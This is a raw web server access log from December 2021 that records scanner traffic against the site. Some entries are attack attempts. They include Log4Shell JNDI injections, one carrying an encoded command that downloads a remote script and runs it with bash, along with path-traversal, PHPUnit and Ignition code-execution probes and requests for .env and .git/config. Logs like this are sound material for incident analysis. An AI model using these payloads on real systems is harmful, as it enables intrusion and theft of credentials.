[16/Dec/2021:01:26:21 +0100] 34.218.48.135 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 295 [16/Dec/2021:01:26:49 +0100] 34.222.250.188 TLSv1.2 AES256-SHA "GET /favicon.ico HTTP/1.1" 302 [16/Dec/2021:01:26:50 +0100] 34.222.250.188 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 295 [16/Dec/2021:01:31:42 +0100] 176.58.99.15 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301 [16/Dec/2021:01:44:37 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 315 [16/Dec/2021:02:01:52 +0100] 35.213.211.88 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [16/Dec/2021:02:32:22 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /_ignition/execute-solution HTTP/1.1" 319 [16/Dec/2021:02:42:10 +0100] 195.54.160.149 - - "-" - [16/Dec/2021:03:56:24 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [16/Dec/2021:04:16:23 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 293 [16/Dec/2021:04:48:19 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:04:48:56 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [16/Dec/2021:04:48:57 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [16/Dec/2021:04:48:57 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [16/Dec/2021:04:49:00 +0100] 23.250.19.242 TLSv1.2 AES256-SHA "quit" 379 [16/Dec/2021:04:49:01 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 393 [16/Dec/2021:04:49:02 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /sitemap.xml HTTP/1.1" 394 [16/Dec/2021:04:49:02 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.well-known/security.txt HTTP/1.1" 407 [16/Dec/2021:04:49:03 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /favicon.ico HTTP/1.1" 309 [16/Dec/2021:04:49:05 +0100] 23.250.19.242 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [16/Dec/2021:04:51:30 +0100] 131.220.6.152 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 295 [16/Dec/2021:05:25:53 +0100] 109.248.6.240 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.0" 388 [16/Dec/2021:05:31:34 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [16/Dec/2021:05:50:41 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 435 [16/Dec/2021:06:09:23 +0100] 154.209.125.30 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:07:34:27 +0100] 64.62.197.2 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383 [16/Dec/2021:07:40:48 +0100] 207.46.13.237 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311 [16/Dec/2021:07:40:50 +0100] 207.46.13.237 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311 [16/Dec/2021:07:40:56 +0100] 207.46.13.127 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304 [16/Dec/2021:07:47:45 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.0" 388 [16/Dec/2021:07:49:37 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.0" 388 [16/Dec/2021:07:49:37 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:07:49:39 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /sdk HTTP/1.1" 386 [16/Dec/2021:07:49:40 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "HEAD / HTTP/1.1" - [16/Dec/2021:07:49:40 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:07:49:41 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /nmaplowercheck1639637376 HTTP/1.1" 407 [16/Dec/2021:07:49:42 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /HNAP1 HTTP/1.1" 388 [16/Dec/2021:07:49:43 +0100] 50.31.21.10 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /evox/about HTTP/1.1" 393 [16/Dec/2021:08:55:45 +0100] 167.94.138.43 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383 [16/Dec/2021:08:55:45 +0100] 167.94.138.43 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [16/Dec/2021:09:57:20 +0100] 128.14.141.34 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [16/Dec/2021:10:06:54 +0100] 91.90.123.71 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301 [16/Dec/2021:10:21:50 +0100] 185.142.236.43 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:11:20:47 +0100] 156.146.50.171 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "OPTIONS / HTTP/1.1" 301 [16/Dec/2021:11:24:47 +0100] 185.189.182.234 TLSv1.2 AES256-SHA "GET /Q4ho HTTP/1.1" 379 [16/Dec/2021:14:24:33 +0100] 128.14.141.34 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [16/Dec/2021:14:58:55 +0100] 167.71.13.196 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383 [16/Dec/2021:14:58:56 +0100] 167.71.13.196 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383 [16/Dec/2021:14:58:56 +0100] 167.71.13.196 TLSv1.2 AES256-SHA "GET /$%7Bjndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01002046bb6100000000374d68%7D?${jndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01012046bb6100000000930cce}=${jndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01022046bb6100000000ce12d8} HTTP/1.1" 356 [16/Dec/2021:15:20:55 +0100] 212.186.238.50 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 304 [16/Dec/2021:16:43:42 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331 [16/Dec/2021:17:11:22 +0100] 80.82.77.192 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [16/Dec/2021:17:56:08 +0100] 103.247.21.18 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304 [16/Dec/2021:17:56:09 +0100] 103.247.21.18 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST / HTTP/1.1" 301 [16/Dec/2021:18:06:17 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331 [16/Dec/2021:19:13:59 +0100] 128.14.209.162 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [16/Dec/2021:20:11:24 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /mifs/.;/services/LogService HTTP/1.1" 318 [16/Dec/2021:20:25:46 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.git/config HTTP/1.1" 310 [16/Dec/2021:20:25:47 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.git/config HTTP/1.1" 310 [16/Dec/2021:21:36:31 +0100] 193.118.53.210 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [16/Dec/2021:21:39:32 +0100] 41.203.140.114 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:21:39:33 +0100] 41.203.140.114 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:21:39:34 +0100] 41.203.140.114 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:21:39:34 +0100] 41.203.140.114 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [16/Dec/2021:22:37:49 +0100] 185.180.143.138 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [16/Dec/2021:23:12:25 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /_ignition/execute-solution HTTP/1.1" 319 [16/Dec/2021:23:28:40 +0100] 128.14.209.162 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [17/Dec/2021:00:12:27 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [17/Dec/2021:00:43:19 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301